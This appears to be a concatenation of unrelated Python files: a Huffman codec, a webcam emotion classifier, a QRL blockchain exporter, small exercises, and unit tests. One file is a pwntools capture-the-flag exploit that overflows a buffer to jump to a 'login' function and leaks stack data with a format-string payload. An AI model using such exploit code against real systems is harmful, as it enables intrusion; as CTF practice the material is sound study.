            self.reversemapping[current_code] = root.char #dictionnaire de décodage
            return

        self.codemaker_assist1(root.left, current_code + "0")
        self.codemaker_assist1(root.right, current_code + "1")

    def get_encoded_text(self, text):
            encoded_text = ""
            for char in text:
                encoded_text += self.codes[char]
            return encoded_text

    def encode(self,text):
        self.codemaker()
        encoded_text = self.get_encoded_text(text)
        print(self.codes)
        return encoded_text

    def decode(self, encoded_text):
        self.codemaker()
        current_code = ""
        decoded_text = ""

        for bit in encoded_text:
            current_code += bit
            if(current_code in self.reversemapping):
                character = self.reversemapping[current_code]
                decoded_text += character
                current_code = ""

        return decoded_text

def Codec(tree):
    return codec(tree)


from emotion.model.vgg19 import vgg19
import torch
import matplotlib.pyplot as plt
from facenet_pytorch import MTCNN
import numpy as np

device = torch.device("cuda:0" if torch.cuda.is_available() else "cpu")

LABELS = {
    0 : 'Angry',
    1 : 'Disgust',
    2 : 'Fear',
    3 : 'Happy',
    4 : 'Sad',
    5 : 'Surprise',
    6 : 'Neutral'
}

import os

model_dir = os.path.join(os.getcwd(),'emotion', 'data', 'saved', 'emotion.pth')
net = vgg19(1,7)
net.load_state_dict(torch.load(model_dir))
net = net.to(device)
net.eval()

# from emotion.data.dataLoader import *

# print('Loading Data', end = '\r')
# dataset = EmotionData()
# loader = EmotionDataloader(dataset.data_dict, 32 , 0)

# dataloaders = loader.loader_dict
# datasizes = loader.datasize_dict

# import matplotlib.pyplot as plt

def predict(img):
    #print(img.shape)
    img = cv2.resize(img, (48,48))
    img = torch.Tensor(img)
    img = img.view(-1,48,48)
    img = img.view(-1,1,48,48)
    img  = img.to(device)
    print(img.shape)
    o = net(img)
    pre = torch.max(o, 1)[1]
    return LABELS[pre.item()]

import cv2

# Load the cascade
mtcnn = MTCNN(thresholds = [0.7, 0.5, 0.5], device = 'cuda', margin=20)
# To capture video from webcam.
cap = cv2.VideoCapture(0)
# To use a video file as input
# cap = cv2.VideoCapture('filename.mp4')

def predict(img):
    #print(img.shape)
    img = cv2.resize(img, (48,48))
    img = torch.Tensor(img)
    img = img.view(-1,48,48)
    img = img.view(-1,1,48,48)
    img  = img.to(device)
    print(img.shape)
#     print(img.shape)
    o = net(img)
    print(o)
    pre = torch.max(o, 1)[1]
    print(f'predict {pre}')
    return LABELS[pre.item()]

def text(t, img, p):
    font                   = cv2.FONT_HERSHEY_SIMPLEX
    bottomLeftCornerOfText = p
    fontScale              = 1
    fontColor              = (0,0,255)
    lineType               = 2
    org                    = (0,100)

    cv2.putText(img,t,
        bottomLeftCornerOfText,
        font,
        fontScale,
        fontColor,
        lineType)

while True:
    # Read the frame
    _, img = cap.read()
    # Detect the faces

    faces = mtcnn.detect(img)
    print(faces)

    # Draw the rectangle around each face
    if (type(faces[0]) != type(None)):
        for (x, y, x1, y1) in faces[0]:
            x1 = int(x1)
            y1 = int(y1)
            x = int(x)
            y = int(y)

            print(x , y , x1 , y1 , sep = ' ')

            cv2.rectangle(img, (x, y), (x1, y1), (255, 0, 0), 2)
            face = img[x:x1, y:y1]
            gray = cv2.cvtColor(face, cv2.COLOR_BGR2GRAY)
            t = predict(gray)
            text(t,img, (x,y))

    cv2.imshow('img', img)

    # Display
    # Stop if escape key is pressed
    k = cv2.waitKey(30) & 0xff
    if k==27:
        break
# Release the VideoCapture object
cap.release()


#!/usr/bin/env python3
# -*- coding: utf-8 -*

"""
    QRL Blockchain to SQlite
	v1.0

	Requirements/Setup:
		> sudo apt-get install python3-pip
		> pip3 install qrl

"""

__author__ = ['0xFF (https://github.com/0xFF0)']
__version__ = "1.0"
__date__ = '2022.01.29'

import sqlite3
import plyvel
import argparse
import binascii
import base64
import sys
import copy
from google.protobuf.json_format import MessageToJson, Parse, MessageToDict
from qrl.generated import qrl_pb2

DB_INSERT_MAX = 100000

DB_INSERT_OPTIMIZATION_TEMPLATE = {
    "total" : 0,
    "addresses": { "query": "INSERT INTO addresses VALUES (?,?,?,?,?)", "data" : [] },
    "updateAddresses": { "query": "UPDATE addresses SET lastSeen=? WHERE address=?", "data" : [] },
    "blockMetadata": { "query": "INSERT INTO blockMetadata VALUES (?,?,?,?,?)", "data": [] },
    "otherTransactions": { "query": "INSERT INTO otherTransactions VALUES (?,?,?,?)", "data": [] },
    "messages": { "query": "INSERT INTO messages VALUES (?,?,?)", "data": [] },
    "tokens": { "query": "INSERT INTO tokens VALUES (?,?,?,?)", "data": [] }
}

DB_INSERT_OPTIMIZATION = copy.deepcopy(DB_INSERT_OPTIMIZATION_TEMPLATE)

TMP_ADDR_LIST = []

def insertSqliteData(cur,con):
    global DB_INSERT_OPTIMIZATION
    for table in DB_INSERT_OPTIMIZATION:
        if table != "total":
            if len(DB_INSERT_OPTIMIZATION[table]["data"]) > 0:
                cur.executemany(DB_INSERT_OPTIMIZATION[table]["query"], DB_INSERT_OPTIMIZATION[table]["data"])

    con.commit()
    DB_INSERT_OPTIMIZATION = copy.deepcopy(DB_INSERT_OPTIMIZATION_TEMPLATE)

def createSqliteDB(stateFolder, outputDBName):

    #Create database and table
    con = sqlite3.connect(outputDBName)
    cur = con.cursor()
    cur.execute('''CREATE TABLE IF NOT EXISTS addresses (address text, balance real, firstSeen text, lastSeen text, tag text)''')
    cur.execute('''CREATE TABLE IF NOT EXISTS blockMetadata (blockNum int, hashHeader text, timestampSeconds text, nbTransactions int, rewardBlock text)''')
    cur.execute('''CREATE TABLE IF NOT EXISTS otherTransactions (blockNum int, transactionHash text, txType text, data text)''')
    cur.execute('''CREATE TABLE IF NOT EXISTS tokens (tokenName text, tokenSymbol text, tokenOwner text, transactionHash text)''')
    cur.execute('''CREATE TABLE IF NOT EXISTS messages (messageHash text, blockNum int, transactionHash text)''')

    db = plyvel.DB(stateFolder)

    blockheight = int.from_bytes(db.get(b'blockheight'), byteorder='big', signed=False)

    pbdata = qrl_pb2.Block()
    block_number_mapping = qrl_pb2.BlockNumberMapping()

    print("Parsing block 0/" + str(blockheight))

    for i in range(0, blockheight):

        if DB_INSERT_OPTIMIZATION["total"] > DB_INSERT_MAX:
            insertSqliteData(cur,con)
            print("Parsing block " + str(i) + "/" + str(blockheight))

        #Get block
        hashHeader = Parse(db.get(str(i).encode()), block_number_mapping).headerhash
        pbdata.ParseFromString(bytes(db.get(hashHeader)))
        dictData = MessageToDict(pbdata)

        #Block Metadata
        blockNumber = i
        hashHeaderHex = hashHeader.hex()
        timestampSeconds = dictData["header"]["timestampSeconds"]
        nbTransactions = len(dictData["transactions"])
        rewardBlock = dictData["header"]["rewardBlock"]

        DB_INSERT_OPTIMIZATION["blockMetadata"]["data"].append([blockNumber, hashHeaderHex, timestampSeconds, nbTransactions, rewardBlock])
        DB_INSERT_OPTIMIZATION["total"] += 1

        for t in dictData["transactions"]:
            transactionProcessed = False

            if "coinbase" in t:
                addAddressInDB(cur, db, t["coinbase"]["addrTo"], timestampSeconds)
                transactionProcessed = True

            if "transfer" in t:
                for a in t["transfer"]["addrsTo"]:
                    addAddressInDB(cur, db, a, timestampSeconds)

                transactionProcessed = True

            if "token" in t:
                tokenName = base64.b64decode(t["token"]["name"]).decode("utf-8")
                tokenSymbol = base64.b64decode(t["token"]["symbol"]).decode("utf-8")
                tokenOwner = "Q" + base64.b64decode(t["token"]["owner"]).hex()
                transactionHash = base64.b64decode(t["transactionHash"]).hex()
                DB_INSERT_OPTIMIZATION["tokens"]["data"].append([tokenName, tokenSymbol, tokenOwner, transactionHash])
                DB_INSERT_OPTIMIZATION["total"] += 1
                transactionProcessed = True

            if "message" in t:
                try:
                    messageHash = base64.b64decode(t["message"]["messageHash"]).decode("utf-8")
                except:
                    messageHash = base64.b64decode(t["message"]["messageHash"]).hex()

                #https://github.com/theQRL/qips/blob/master/qips/QIP002.md
                if messageHash.startswith("afaf"):
                    if messageHash.startswith("afafa1"):
                        try:
                            docText = binascii.a2b_hex(messageHash[46:]).decode("utf-8")
                        except:
                            docText = binascii.a2b_hex(messageHash[46:]).hex()
                        messageHash = "[Doc notarization] SHA1: " + messageHash[6:46] + " TEXT: " + docText
                    elif messageHash.startswith("afafa2"):
                        try:
                            docText = binascii.a2b_hex(messageHash[70:]).decode("utf-8")
                        except:
                            docText = binascii.a2b_hex(messageHash[70:]).hex()
                        messageHash = "[Doc notarization] SHA256: " + messageHash[6:70] + " TEXT: " + docText
                    elif messageHash.startswith("afafa3"):
                        try:
                            docText = binascii.a2b_hex(messageHash[38:]).decode("utf-8")
                        except:
                            docText = binascii.a2b_hex(messageHash[38:]).hex()
                        messageHash = "[Doc notarization] MD5: " + messageHash[6:38] + " TEXT: " + docText

                #https://github.com/theQRL/message-transaction-encoding
                elif messageHash.startswith("0f0f"):
                    msgHeader = "[Unknown]"
                    msgBegin = 8
                    text = ""

                    if messageHash.startswith("0f0f0000") or messageHash.startswith("0f0f0001"):
                        msgHeader = "[Reserved] "

                    elif messageHash.startswith("0f0f0002"):
                        if messageHash.startswith("0f0f0002af"):
                            msgHeader = "[Keybase-remove] "
                        elif messageHash.startswith("0f0f0002aa"):
                            msgHeader = "[Keybase-add] "
                        else:
                            msgHeader = "[Keybase-" + messageHash[8:10] + "] "

                        msgBegin = 12
                        try:
                            user = binascii.a2b_hex(messageHash[msgBegin:].split("20")[0]).decode("utf-8")
                            keybaseHex = binascii.a2b_hex(messageHash[msgBegin + len(user)*2 + 2:]).hex()
                            text = "USER: " + user + " KEYBASE_HEX: " + keybaseHex
                        except:
                            text = ""

                    elif messageHash.startswith("0f0f0003"):
                        if messageHash.startswith("0f0f0002af"):
                            msgHeader = "[Github-remove] "
                        elif messageHash.startswith("0f0f0002aa"):
                            msgHeader = "[Github-add] "
                        else:
                            msgHeader = "[Github-" + messageHash[8:10] + "] "

                        msgBegin = 18
                        text = binascii.a2b_hex(messageHash[msgBegin:]).hex()

                    elif messageHash.startswith("0f0f0004"):
                        msgHeader = "[Vote] "

                    if len(text) == 0:
                        try:
                            text = binascii.a2b_hex(messageHash[msgBegin:]).decode("utf-8")
                        except:
                            try:
                                text = binascii.a2b_hex(messageHash[msgBegin:]).hex()
                            except:
                                text = str(messageHash[msgBegin:])

                    messageHash = msgHeader + text

                transactionHash = base64.b64decode(t["transactionHash"]).hex()
                DB_INSERT_OPTIMIZATION["messages"]["data"].append([messageHash, blockNumber, transactionHash])
                DB_INSERT_OPTIMIZATION["total"] += 1
                transactionProcessed = True

            if not transactionProcessed:
                txHash = base64.b64decode(t["transactionHash"]).hex()
                data = ""
                txType = ""

                if "slave" in t:
                    txType = "slave"

                if "transferToken" in t:
                    txType = "transferToken"

                if "multiSigCreate" in t:
                    txType = "multiSigCreate"

                if "latticePK" in t:
                    txType = "latticePK"

                if "multiSigSpend" in t:
                    txType = "multiSigSpend"

                if "multiSigVote" in t:
                    txType = "multiSigVote"

                if len(txType) == 0:
                    data = str(t)

                DB_INSERT_OPTIMIZATION["otherTransactions"]["data"].append([blockNumber, txHash, txType, data])
                DB_INSERT_OPTIMIZATION["total"] += 1

            con.commit()

    insertSqliteData(cur,con)
    con.close()
    db.close()

def addAddressInDB(dbCursor, levelDB, b64Addr, timeStamp):

    addrData = qrl_pb2.AddressState()

    addrByte = base64.b64decode(b64Addr)
    address = "Q" + addrByte.hex()

    try:
        updateAddr = False

        if address in TMP_ADDR_LIST:
            updateAddr = True
        else:
            addrData.ParseFromString(levelDB.get(addrByte))
            dictData = MessageToDict(addrData)

            if "balance" in dictData:
                balance = float(dictData["balance"])/1000000000
            else:
                balance = "0"

            DB_INSERT_OPTIMIZATION["addresses"]["data"].append([address, balance, timeStamp, timeStamp, ""])
            DB_INSERT_OPTIMIZATION["total"] += 1
            TMP_ADDR_LIST.append(address)

        if updateAddr:
            DB_INSERT_OPTIMIZATION["updateAddresses"]["data"].append([timeStamp, address])
            DB_INSERT_OPTIMIZATION["total"] += 1

    except:
        print("Error parsing " + address + ". Timestamp: " + timeStamp)

if __name__ == "__main__":
    desc = "QRL Blockchain to SQlite v" + __version__
    parser = argparse.ArgumentParser(description=desc)
    parser.add_argument("-i", "--indexQRLStateFolder", help="QRL state folder (ex: /home/ubuntu/.qrl/data/state)", type=str)
    parser.add_argument("-o", "--outputDBName", help="Output QRL sqlite db name (ex: qrl.sqlite)", type=str)

    # Read arguments from the command line
    options = parser.parse_args()

    if len(sys.argv)==1:
        parser.print_help()
        sys.exit(1)

    if options.indexQRLStateFolder is not None and options.outputDBName is not None:
        createSqliteDB(options.indexQRLStateFolder, options.outputDBName)

    else:
        parser.print_help()


#!/usr/bin/env python3
from pwn import *

elf = ELF('./format2win')
rop = ROP(elf)

p = elf.process()
# p = remote('18.143.17.69', 9001)

def exploit():

    padding = b'A'*88
    ret = (rop.find_gadget(['ret']))[0] # Stack Alignment
    vuln = elf.symbols['login'] # ret2win

    payload = padding
    payload += p64(ret)
    payload += p64(vuln)

    p.recvuntil(b'[!] ')
    log.info(p.recvuntil(b'?').decode(encoding='ascii'))
    p.recvuntil(b'> ')

    log.success(f'Jumping to vuln function with payload: {payload}')
    p.sendline(payload)

    p.recvuntil(b'[*] ')
    log.info(p.recvuntil(b'!').decode(encoding='ascii'))

    # Format String Vulnerability
    payload = (b"%14$p %15$p %16$p %17$p %18$p %19$p")
    log.success(f'Leaking address with payload: {payload}')
    p.sendline(payload)

    p.recvuntil(b': ')

    leak = p.recvline()
    leak = leak[:-1]
    log.warn(f'Leaked Data: {leak}')

    # Convert address to little endian and ASCII characters
    # flag = "APUBOH22{134klng_d4t4_with_f0rm4t_sp3cifi3r}"
    # log.indented(f'Flag: {flag}')

def main():
    exploit()

if __name__ == "__main__":
    main()


from typing import List

class Solution:
    def productExceptSelf(self, nums: List[int]) -> List[int]:
        n = len(nums)
        s = [1] * n
        t = [1] * n

        for i in range(1, n):
            s[i] = s[i - 1] * nums[i - 1]

        for i in reversed(range(n - 1)):
            t[i] = t[i + 1] * nums[i + 1]

        return [s[i] * t[i] for i in range(n)]


import pyttsx3
engine = pyttsx3.init()
import random
engine.say("перед вами три двери. В какую зайдете?")
engine.runAndWait()
while True:
    b = input()
    if int(b) == 1:
        engine.say("вы перед сундуком. В нем может быть что угодно.")
        engine.runAndWait()
    elif int(b) == 2:
        engine.say("перед вами милый дракошка, которого хочет съесть тимур пахомов")
        engine.runAndWait()
    a = input()
    if a == ("открыть сундук"):
        a = random.randint(0,100)
    if int(a) < 50:  #он тоже не работает
        engine.say("там оказалось золото. Вы получили 1 гривну")
        engine.runAndWait()
    else:
        engine.say("сундук открылся и оказался пустым, но в углу на дне оказался маленький павук. Он укусил тебя и ты умер. уох.")
        engine.runAndWait()
    n = input ()
    if n == ("Ударить тимура битой"):
        n = random.randint (0,100)
    if int(n) > 69:   #я не знаю почему он не работает.
        engine.say("Вы оглушили тимура, дракончик теперь ходит с вами")
        engine.runAndWait()
    else:
        engine.say("вы не оглушили тимура.Вы бросились обратно, но дверь была закрыта и тимур перекусил вами")
        engine.runAndWait()
    if n == ("не вмешиваться"):
        engine.say("тимур поел")
        engine.runAndWait()


from db.db_engin import db_session
from db.models import User
from db.update_user import update_user

def add_in_db_user(fullname: str, address: str, phone_number: str):
    new_user = User(fullname=fullname, address=address, phone_number=phone_number)
    user_by_phone_number = db_session.query(User).where(User.phone_number == new_user.phone_number).one_or_none()
    user_by_fullname = db_session.query(User).where(User.fullname == new_user.fullname).one_or_none()
    if user_by_phone_number is None and user_by_fullname is None:
        db_session.add(new_user)
        print('\nThe' + f'\033[38;5;222m {fullname} \033[0;0m' + 'has been' + '\033[38;5;118m successfully \033[0;0m' + 'added\n')
    elif user_by_fullname is not None:
        print("\nUser with this name already exists.\n"
              "We suggest updating an existing contact\n")
        update_user(new_user.fullname)
    else:
        print(
            f'\nUser with this phone number already exists\n'
            f'\nName: {user_by_phone_number.fullname}, number: {user_by_phone_number.phone_number}\n')
    db_session.commit()


#si quiero averiguar los codigos ASCII de una cadena de caracteres en CHINO:

cadena = "你好"
for caracter in cadena:
   print(caracter, "-", ord(caracter)) #por cada caracter, devuelveme el ordinal ASCII de cada caracter.

#______________

#for codigo in range(32,115):
    #print(codigo, "-", chr(codigo), end="\t") # end="\t" es para colocar el ouput de forma mas ordenada


#!/usr/bin/env python
#-*- coding: utf-8 -*

import numpy as np
import matplotlib.pyplot as plt
import matplotlib.patheffects as path_effects
import seaborn as sns

x = [3.5, 9.2, 11.7, 24.1, 49.1]
y = [u"Nuestra\nImplementación", u"HomographyNet\n(Regresión)" , u"ORB\n+\nRANSAC", u"HomographyNet\n(Clasificación)", u"Homografía\nIdentidad"]
ax = sns.barplot(y, x, palette="Blues")
ax.set(ylabel="Mean Average Corner Error\n(pixels)")
for i, rect in enumerate(ax.patches):
	txt = ax.text(rect.get_x() + rect.get_width()/2.0 - len(str(x[i])) * 0.05, rect.get_height()- 2.75 - rect.get_height()*0.05, x[i], fontsize=20, color='white')
	txt.set_path_effects([path_effects.Stroke(linewidth=2, foreground="gray"), path_effects.Normal()])

plt.xticks(rotation=30)
plt.tight_layout()
plt.show()


import fitz
import nltk
from nltk.corpus import stopwords
from nltk.tokenize import sent_tokenize, word_tokenize
import base64
import requests
import os
from dotenv import load_dotenv

# make sure to download before running
# nltk.download('punkt')
# nltk.download('stopwords')

# function to extract text from each page
def read(file_content):
    text = []
    images = []

    # Open the PDF using PyMuPDF
    document = fitz.open(stream=file_content, filetype="pdf")

    # Iterate through the PDF pages and extract text
    for page_num in range(len(document)):
        page = document[page_num]
        page_text = page.get_text()

        # Extract image from each page and convert to base64
        pixmap = page.get_pixmap()
        image_data = pixmap.tobytes()
        image_base64 = base64.b64encode(image_data).decode('utf-8')
        images.append(image_base64)

        text.append(page_text)

    document.close()

    page_summaries = summarize_pages(text, num_sentences=1)

    return text, page_summaries, images

# function to extract prompts for iage generation
def summarize_pages(text, num_sentences=1):

    summaries = []
    stop_words = set(stopwords.words("english"))

    for page_text in text:
        # Tokenize the page text into sentences
        sentences = sent_tokenize(page_text)

        # Tokenize each sentence into words and remove stop words
        words = [word for word in word_tokenize(page_text) if word.lower() not in stop_words]

        # Calculate word frequencies
        word_freq = nltk.FreqDist(words)

        # Sort sentences by the sum of their word frequencies
        ranked_sentences = sorted(sentences, key=lambda sentence: sum(word_freq[word] for word in word_tokenize(sentence)), reverse=True)

        # Select the top N sentences as the summary
        summary = " ".join(ranked_sentences[:num_sentences])
        summaries.append(summary)

    return summaries

# testing out using LLM to create better prompts

# if __name__ == "__main__":
#     # Load environment variables from the .env file
#     load_dotenv()
#     auth_token = os.getenv('hugging_face_api_token')

#     API_URL = "https://api-inference.huggingface.co/models/google/flan-t5-base"
#     headers = {"Authorization": f"Bearer {auth_token}"}

#     def prompt_extract(payload):
#         response = requests.post(API_URL, headers=headers, json=payload)
#         return response.json()

#     output = prompt_extract({
#         "inputs": "Generate a prompt for image generation using this text: The ferocious dragon roars great flames down the village",
#     })

#     print(output)


import numpy as np

# Transitional model:
transitional_model = np.array([[0.7, 0.3],
                               [0.3, 0.7]])

# Observational model where an umbrella has been observed:
obs_model_with_umbrella = np.array([[0.9, 0.0],
                                    [0.0, 0.2]])

# Observational model where a distinct lack of an umbrella has been observed:
obs_model_without_umbrella = np.array([[0.1, 0.0],
                                       [0.0, 0.8]])

# Observations from task, only to be used if algorithm is applied to specific task
evidence_list_from_task = [True, True, False, True, True]

# Normalization function. As per the textbook description of the task a
# value alpha must be multiplied to keep the the vectors stochastic
# input used here will be 1, but I have set the option for other values
# The vector input is the vector to be normalized.
# Expected form is [a, b], or longer.
def normalize(vector, endsum=1):
    """
    :param vector: The vector that is to be normalized, as in have the sum of its values set to a given value
    :param endsum: Default value is one, as this method is mostly used to make vectors stochastic.
    :return:
    """
    vector_element_sum = 0
    for element in vector:
        vector_element_sum += element

    unit_to_divide_by = vector_element_sum / endsum

    return_vector = []
    for i in range(len(vector)):
        return_vector.append(vector[i] / unit_to_divide_by)
    return return_vector

# Forward algorithm, used to recursively filter the distribution
# Works its way back to an initial probability vector, in this case [0.5, 0.5]
# The transition model used in this specific case will always be the one created at the top of the file
def forward(transition_model, obs_model, previous_forward_message):
    """
    :param transition_model: The transitional model used, in this case a 2x2 matrix
    :param obs_model: The observational model used, in this case a 2x2 matrix containing the probabilities for the given observation
    :param previous_forward_message: The previous forward message, in this case it is the previous vector in the HMM
    """
    next_state_vector = obs_model.dot(transition_model.dot(previous_forward_message))
    return normalize(next_state_vector)

def test_forward_algorithm(evidence_list=[True, True, False, True, True]):
    # Task b) part 1
    p_X0 = [0.5, 0.5]
    pX1_given_e1 = forward(transitional_model, obs_model_with_umbrella, p_X0)
    pX2_given_e1e2 = forward(transitional_model, obs_model_with_umbrella, pX1_given_e1)
    print("b) part 1", pX1_given_e1, "\n", pX2_given_e1e2, "\n")

    # Task b) part 2
    prev_message = [0.5, 0.5]
    print("b) part 2")
    for i in range(5):
        if evidence_list[i]:
            prev_message = forward(transitional_model, obs_model_with_umbrella, prev_message)
        else:
            prev_message = forward(transitional_model, obs_model_without_umbrella, prev_message)
        print(prev_message)

# Backward algorithm, runs backwards to compute the smoothed P(X_k | e_1:t)
#
def backward(transition_model, obs_model, previous_backward_message):
    """
    :param transition_model: The transitional model used, in this case a 2x2 matrix
    :param obs_model: The observational model used, in this case a 2x2 matrix containing the probabilities for the given observation
    :param previous_backward_message: The previous backward message, in this case it is the next vector in the HMM
    """
    next_state_vector = transition_model.dot(obs_model.dot(previous_backward_message))
    return next_state_vector

# Forward-Backward algorithm, first filters all the vectors, then runs backwards smoothing all the vectors
def forward_backward(transition_model, evidence_list=[True, True, False, True, True], prior=[0.5, 0.5]):
    """
    :param transitional_model: Likelyhood matrix
    :param prior: initial value, in this case it will be [0.5, 0.5]
    :param evidence_list: The actual occurances, in our specific case: [True, True, False, True, True]
    :return: Returns a list containing the smoothed vectors corresponding to this occurance
    """
    fv = [prior]  # forward vector
    b = [1, 1]  # backward vector, init all ones
    sv = []  # Smooth vector
    N = len(evidence_list)  # number of events
    # iterates through the values and filters them using the forward algorithm
    for i in range(len(evidence_list)):
        if evidence_list[i]:
            fv.append(forward(transition_model, obs_model_with_umbrella, fv[i]))
        else:
            fv.append(forward(transition_model, obs_model_without_umbrella, fv[i]))
    # iterates backwards from the most recent evidence, smoothing the values
    for i in range(N):
        print("b at step ", N - i + 1, b)  # This line is added to show the progression of the backward algorithm.
        sv.append(normalize(np.asarray(fv[N - i]) * np.asarray(b)))
        # change the value of b to continue smoothing backwards
        if evidence_list[N - i - 1]:
            b = backward(transition_model, obs_model_with_umbrella, b)
        else:
            b = backward(transition_model, obs_model_without_umbrella, b)
    return sv

def test_forward_backward_algorithm():
    # Task c) part 1; calculate P(X1 | e1:e2))
    print("\n" + "c) part 1" + "\n")
    print(forward_backward(transitional_model, evidence_list_from_task[0:2])[0])
    print("which means that the result is as expected." + "\n")
    # task c) part 2; calculate P(X1 | e1:e5)
    print("c) part 2" + "\n")
    print(forward_backward(transitional_model, evidence_list_from_task)[0])
    print("which means that the result is as expected." + "\n")

def main():
    test_forward_algorithm()
    test_forward_backward_algorithm()

if __name__ == "__main__":
    main()


"""SmartAPI registry access utility."""
from functools import cache

import httpx

class SmartAPI:
    """SmartAPI."""

    def __init__(self):
        """Initialize."""
        self.base_url = "http://smart-api.info/api"

    @cache
    def get_operations_endpoints(self):
        """Find all endpoints that support at least one workflow operation."""
        endpoints = self.get_trapi_endpoints()

        operations_endpoints = []
        for endpoint in endpoints:
            if endpoint["operations"] is not None:
                operations_endpoints.append(endpoint)

        return operations_endpoints

    @cache
    def get_trapi_endpoints(self):
        """Find all endpoints that match a query for TRAPI."""
        response_content = httpx.get(
            self.base_url + "/query?limit=1000&q=TRAPI",
            headers={"accept": "application/json"},
        )

        response_content.raise_for_status()
        response_dict = response_content.json()

        endpoints = []
        for hit in response_dict["hits"]:
            try:
                url = hit["servers"][0]["url"]
            except (KeyError, IndexError):
                url = None
            try:
                version = hit["info"]["x-trapi"]["version"]
            except KeyError:
                version = None
            try:
                operations = hit["info"]["x-trapi"]["operations"]
            except KeyError:
                operations = None
            try:
                title = hit["info"]["title"]
            except KeyError:
                title = None
            endpoints.append({
                "url": url,
                "operations": operations,
                "version": version,
                "title": title,
            })

        return endpoints

def main():
    """Run CLI."""
    import argparse
    import json

    argparser = argparse.ArgumentParser(
        description="CLI testing of the ResponseCache class"
    )
    argparser.add_argument(
        "--get_trapi_endpoints",
        action="count",
        help="Get a list of TRAPI endpoints",
    )
    argparser.add_argument(
        "--get_operations_endpoints",
        action="count",
        help="Get a list of TRAPI endpoints that support operations",
    )
    args = argparser.parse_args()

    if (
        args.get_trapi_endpoints is None
        and args.get_operations_endpoints is None
    ):
        argparser.print_help()
        return

    smartapi = SmartAPI()

    if args.get_trapi_endpoints:
        endpoints = smartapi.get_trapi_endpoints()
        print(json.dumps(endpoints, sort_keys=True, indent=2))

    if args.get_operations_endpoints:
        endpoints = smartapi.get_operations_endpoints()
        print(json.dumps(endpoints, sort_keys=True, indent=2))

if __name__ == "__main__":
    main()


import sys
import os
sys.path.append(os.path.join(os.path.dirname(os.path.abspath(__file__)),
                             os.path.pardir))
import unittest
from Dicts.TypesDicts.LinearSearchArrays import ArraysWithLinearSearch

class TestLinearSearchArrays(unittest.TestCase):
    def setUp(self):
        self.test_common_dict = ArraysWithLinearSearch([("ASUS", 80000),
                                                        ("Toshiba", 65000),
                                                        ("Dell", 90000),
                                                        ("Acer", 75000),
                                                        ("Apple", 100000),
                                                        ("Samsung", 60000)])
        self.test_empty_dict = ArraysWithLinearSearch()
        self.test_little_dict = ArraysWithLinearSearch(
            ([("ASUS", 80000), ("Toshiba", 65000), ("Dell", 90000)]))

    def test_contains(self):
        self.assertEquals(self.test_common_dict.__contains__("Apple"), True)
        self.assertEquals(self.test_little_dict.__contains__("Apple"), False)

    def test_len(self):
        self.assertEquals(0, self.test_empty_dict.__len__())
        self.assertEquals(6, self.test_common_dict.__len__())
        self.assertEquals(3, self.test_little_dict.__len__())

    def test_eq(self):
        self.assertEquals(True, self.test_little_dict.__eq__(
            ArraysWithLinearSearch([("ASUS", 80000), ("Toshiba", 65000),
                                    ("Dell", 90000)])))
        self.assertEquals(False, self.test_common_dict.__eq__(
            self.test_little_dict))
        self.assertEquals(True, self.test_empty_dict.__eq__(
            ArraysWithLinearSearch([])))

    def test_clear(self):
        self.test_common_dict.clear()
        self.assertEquals(self.test_common_dict.keys_list, [])
        self.assertEquals(self.test_common_dict.values_list, [])

    def test_fromkeys(self):
        fromkeys_test = ArraysWithLinearSearch([])
        fromkeys_test.fromkeys(["a", "b", "c"])
        self.assertEquals(fromkeys_test.keys_list, ["a", "b", "c"])
        self.assertEquals(fromkeys_test.values_list, [None, None, None])
        fromkeys_test.fromkeys(["d", "e", "f"], 1)
        self.assertEquals(fromkeys_test.keys_list, ["d", "e", "f"])
        self.assertEquals(fromkeys_test.values_list, [1, 1, 1])

    def test_get(self):
        result = self.test_common_dict.get("ASUS")
        self.assertEquals(result, 80000)
        result = self.test_common_dict.get("Siemens")
        self.assertEquals(result, None)
        result = self.test_common_dict.get("Siemens", 50000)
        self.assertEquals(result, 50000)

    def test_items(self):
        result = self.test_little_dict.items()
        self.assertEquals(result, [("ASUS", 80000), ("Toshiba", 65000),
                                   ("Dell", 90000)])

    def test_keys(self):
        result = self.test_common_dict.keys()
        self.assertEquals(result, ["ASUS", "Toshiba", "Dell", "Acer",
                                   "Apple", "Samsung"])

    def test_setdefault(self):
        self.assertEquals(65000, self.test_common_dict.setdefault("Toshiba"))
        self.assertEquals(45000, self.test_empty_dict.setdefault("MIO", 45000))
        self.test_empty_dict.clear()

    def test_pop(self):
        pop_test = ArraysWithLinearSearch(
            [("Toyota", 1937), ("Nissan", 1933), ("Suzuki", 1909),
             ("Honda", 1948), ("Subaru", 1953)])
        self.assertEquals(1933, pop_test.pop("Nissan"))
        self.assertEquals(4, len(pop_test))
        self.assertEquals(0, pop_test.pop("KIA", 0))
        # with self.assertRaises(KeyError):
        #     pop_test.pop(None)

    def test_popitem(self):
        popitem_test = ArraysWithLinearSearch(
            [("Toyota", 1937), ("Nissan", 1933), ("Suzuki", 1909),
             ("Honda", 1948), ("Subaru", 1953)])
        popitem_test.popitem()
        self.assertEquals(4, len(popitem_test))

    def test_values(self):
        self.assertEquals([80000, 65000, 90000, 75000, 100000, 60000],
                          self.test_common_dict.values())

    def test_copy(self):
        self.assertEquals(ArraysWithLinearSearch(
            [("ASUS", 80000), ("Toshiba", 65000), ("Dell", 90000)]),
            self.test_little_dict.copy())
        self. assertEquals(ArraysWithLinearSearch([]),
                           self.test_empty_dict.copy())

    def test_delitem(self):
        delitem_test = ArraysWithLinearSearch(
            [("Toyota", 1937), ("Nissan", 1933), ("Suzuki", 1909),
             ("Honda", 1948)])
        del delitem_test["Toyota"]
        self.assertEquals(ArraysWithLinearSearch(
            [("Nissan", 1933), ("Suzuki", 1909), ("Honda", 1948)]).keys(),
            delitem_test.keys())
        self.assertEquals(ArraysWithLinearSearch(
            [("Nissan", 1933), ("Suzuki", 1909), ("Honda", 1948)]).values(),
            delitem_test.values())

    def test_update(self):
        update_test = ArraysWithLinearSearch(
            [("Toyota", 1937), ("Nissan", 1933)])
        help_update_test = ArraysWithLinearSearch(
            [("Suzuki", 1909), ("Honda", 1948)])
        update_test.update(help_update_test)
        self.assertEquals(ArraysWithLinearSearch(
            [("Toyota", 1937), ("Nissan", 1933), ("Suzuki", 1909),
             ("Honda", 1948)]),
            update_test)

    def test_iter(self):
        iter_test = ArraysWithLinearSearch(
            [("Toyota", 1937), ("Nissan", 1933), ("Suzuki", 1909),
             ("Honda", 1948), ("Subaru", 1953)])
        keys = []
        for element in iter_test:
            keys.append(element)
        self.assertEquals(keys, ["Toyota", "Nissan", "Suzuki",
                                 "Honda", "Subaru"])

